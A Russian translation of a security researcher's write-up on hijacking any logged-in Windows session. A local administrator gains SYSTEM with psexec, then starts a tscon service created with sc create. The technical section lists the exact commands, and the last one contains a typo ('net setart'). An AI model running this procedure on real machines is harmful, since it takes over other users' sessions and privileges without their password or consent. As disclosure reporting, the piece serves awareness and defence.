Уязвимость или фича? Несколько инструкций командной строки Windows позволяют перехватить сессию любого авторизованного пользователя

Исследователь Александр Корзников обнаружил возможность подключиться к любой запущенной сессии в Windows (с любыми правами), будучи залогиненным под какой-либо другой. Об этом он рассказал в своем блоге, посвященном вопросам компьютерной безопасности.

Первый раз Александр проэксплуатировал уязвимость случайно: открыв в диспетчере задач вкладку «Пользователи», он попробовал подключиться к учетной записи, к которой у него не было доступа, и это у него получилось, причем операционная система не потребовала ввести пароль. Однако когда он попытался переключиться обратно, система потребовала пароль. Александр счел это неожиданным поведением и решил разобраться в вопросе. Причем пользователь второй учетной записи в результате оказался разлогинен, но не получил даже уведомления об этом.

Особенно интересно то, что Александр имел права лишь локального администратора (имел «абсолютную власть» только на своей машине), а вторая («атакуемая») учетная запись обладала правами администратора домена («абсолютная власть» над всеми машинами в домене), т.е. более высокими, чем изначальные права атакующего.

Для чего можно использовать эту уязвимость?

Александр поделился сценарием использования такой уязвимости:

  1. Банковский сотрудник, имеющий доступ к управлению банковскими счетами, входит в свою учетную запись.
  2. Во время обеда он отлучается, заблокировав свою учетную запись (но не выйдя из нее) — для возобновления работы ему будет необходимо только ввести пароль, его сессия останется активна и все приложения, которые работали на момент блокировки, останутся в прежнем состоянии.
  3. В это же время системный администратор входит в свою учетную запись на этом же компьютере и получает доступ к учетной записи банковского сотрудника, а значит, и всем запущенным приложениям, то есть к управлению банковскими счетами. Затем он перечисляет все средства президента банка себе на счет и покидает страну.

Особенно опасна эта уязвимость тем, что на нее можно натолкнуться, даже не преследуя цель обойти систему защиты прав доступа. Следующие версии Windows оказались уязвимы:

  • Windows 2012 R2
  • Windows 2008
  • Windows 10
  • Windows 7

Технические детали

Все, что вам необходимо — это иметь доступ к командной строке NT AUTHORITY/SYSTEM. Простейший способ — использовать psexec.exe, но в таком случае утилита должна быть предварительно установлена:

psexec -s \\localhost cmd

Другой способ — создать службу, которая будет подключать атакуемую учетную запись к нашей. Порядок действий следующий:

  1. Получите информацию о всех сессиях:
    C:\Windows\system32>query user
     USERNAME              SESSIONNAME        ID  STATE   IDLE TIME  LOGON TIME
     administrator                             1  Disc            1  3/12/2017 3:07 PM
    >localadmin            rdp-tcp#55          2  Active          .  3/12/2017 3:10 PM
  2. Создайте службу:
    C:\Windows\system32>sc create sesshijack binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#55"
    [SC] CreateService SUCCESS
  3. Запустите службу:
    net setart sesshijack
    

После этих действий ваша сессия будет заменена целевой.

Автор также поделился тремя видео, демонстрирующими уязвимость:

Перевод материала «0-day or Feature? Privilege Escalation / Session Hijacking All Windows versions»